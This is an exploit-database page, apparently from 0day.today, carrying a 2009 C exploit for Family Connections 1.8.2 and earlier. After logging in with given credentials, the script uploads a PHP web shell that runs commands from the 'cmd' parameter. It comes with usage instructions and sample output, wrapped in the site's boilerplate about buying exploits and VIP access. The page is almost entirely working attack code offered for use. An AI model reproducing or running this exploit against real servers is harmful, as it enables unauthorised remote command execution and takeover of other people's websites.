0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Family Connections <= 1.8.2 Remote Shell Upload Exploit
======================================================= Family Connections <= 1.8.2 Remote Shell Upload Exploit ======================================================= /* Family Connections <= 1.8.2 - Remote Shell Upload Exploit Author: Salvatore "drosophila" Fresta Date: 3 April 2009 The following software will upload a simple php shell. To execute remote commands, you must open the file using a browser. gcc rsue.c -o rsue ./rsue localhost /fcms/ user password [*] Connecting... [+] Connected [*] Send login... [+] Login Successful [+] Uploading... [+] Shell uploaded [+] Connection closed Open your browser and go to http://localhost/fcms/gallery/documents/shell.php?cmd=[commands] */ #include <string.h> #include <stdlib.h> #include <stdio.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <unistd.h> #include <netdb.h> int socket_connect(char *server, int port) { int fd; struct sockaddr_in sock; struct hostent *host; memset(&sock, 0, sizeof(sock)); if((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0) return -1; sock.sin_family = AF_INET; sock.sin_port = htons(port); if(!(host=gethostbyname(server))) return -1; sock.sin_addr = *((struct in_addr *)host->h_addr); if(connect(fd, (struct sockaddr *) &sock, sizeof(sock)) < 0) return -1; return fd; } int socket_send(int socket, char *buffer, size_t size) { if(socket < 0) return -1; return write(socket, buffer, size) < 0 ? -1 : 0; } char *socket_receive(int socket, int tout) { fd_set input; int ret, byte; char *buffer, *tmp; struct timeval timeout; FD_ZERO(&input); FD_SET(socket, &input); if(tout > 0) { timeout.tv_sec = tout; timeout.tv_usec = 0; } if(socket < 0) return NULL; if(!(buffer = (char *) calloc (0, sizeof (char)))) return NULL; while (1) { if(tout > 0) ret = select(socket + 1, &input, NULL, NULL, &timeout); else ret = select(socket + 1, &input, NULL, NULL, NULL); if (!ret) break; if (ret < 0) return NULL; if(!(tmp = (char *) calloc (1024, sizeof (char)))) return NULL; if ((byte=read(socket, tmp, 1024)) < 0) return NULL; if(!byte) break; if(!(buffer = (char *) realloc(buffer, strlen (buffer) + strlen (tmp)))) return NULL; strncat(buffer, tmp, strlen(buffer)+strlen(tmp)); } return buffer; } void usage(char *bn) { printf("\nFamily Connections <= 1.8.2 - Remote Shell Upload Exploit\n" "Author: Salvatore \"drosophila\" Fresta\n\n" "usage: %s <server> <path> <username> <password>\n" "example: %s localhost /fcms/ admin 123456\n\n", bn, bn); } int main(int argc, char *argv[]) { int sd; char code[] = "--AaB03x\r\n" "Content-Disposition: form-data; name=\"doc\"; filename=\"shell.php\"\r\n" "Content-Type: text/plain\r\n" "\r\n" "<?php echo \"<pre>\"; system($_GET['cmd']); echo \"</pre>\"?>\r\n" "--AaB03x\r\n" "Content-Disposition: form-data; name=\"desc\"\r\n" "\r\n" "description\r\n" "--AaB03x\r\n" "Content-Disposition: form-data; name=\"submitadd\"\r\n" "\r\n" "Submit\r\n" "--AaB03x--\r\n", *buffer = NULL, *rec = NULL, *session = NULL; if(argc < 5) { usage(argv[0]); return -1; } if(!(buffer = (char *)calloc(200+strlen(code)+strlen(argv[1])+strlen(argv[2])+strlen(argv[3])+strlen(argv[4]), sizeof(char)))) { perror("calloc"); return -1; } sprintf(buffer, "POST %sindex.php HTTP/1.1\r\n" "Host: %s\r\n" "Content-Type: application/x-www-form-urlencoded\r\n" "Content-Length: %d\r\n\r\nuser=%s&pass=%s&submit=Login", argv[2], argv[1], (strlen(argv[4])+strlen(argv[3])+24), argv[3], argv[4]); printf("\n[*] Connecting..."); if((sd = socket_connect(argv[1], 80)) < 0) { printf("[-] Connection failed!\n\n"); free(buffer); return -1; } printf("\n[+] Connected" "\n[*] Send login..."); if(socket_send(sd, buffer, strlen(buffer)) < 0) { printf("[-] Sending failed!\n\n"); free(buffer); close(sd); return -1; } if(!(rec = socket_receive(sd, 0))) { printf("[-] Receive failed!\n\n"); free(buffer); close(sd); return -1; } if(!strstr(rec, "Login Successful")) { printf("\n[-] Login Incorrect!\n\n"); free(buffer); close(sd); return -1; } session = strstr(rec, "PHPSESSID"); session = strtok(session, ";"); if((sd = socket_connect(argv[1], 80)) < 0) { printf("[-] Connection failed!\n\n"); free(buffer); return -1; } printf("\n[+] Login Successful" "\n[+] Uploading..."); sprintf(buffer, "POST %sdocuments.php HTTP/1.1\r\n" "Host: %s\r\n" "Cookie: %s\r\n" "Content-type: multipart/form-data, boundary=AaB03x\r\n" "Content-Length: %d\r\n\r\n%s", argv[2], argv[1], session, strlen(code), code); if(socket_send(sd, buffer, strlen(buffer)) < 0) { printf("[-] Sending failed!\n\n"); free(buffer); close(sd); return -1; } if(!(rec = socket_receive(sd, 0))) { printf("[-] Receive failed!\n\n"); free(buffer); close(sd); return -1; } if(!strstr(rec, "Uploaded Successfully")) { printf("\n[-] Upload failed!\n\n"); free(buffer); close(sd); return -1; } free(buffer); close(sd); printf("\n[+] Shell uploaded" "\n[+] Connection closed\n\n" "Open your browser and go to http://%s%sgallery/documents/shell.php?cmd=[commands]\n\n", argv[1], argv[2]); return 0; } # 0day.today [2024-11-16] #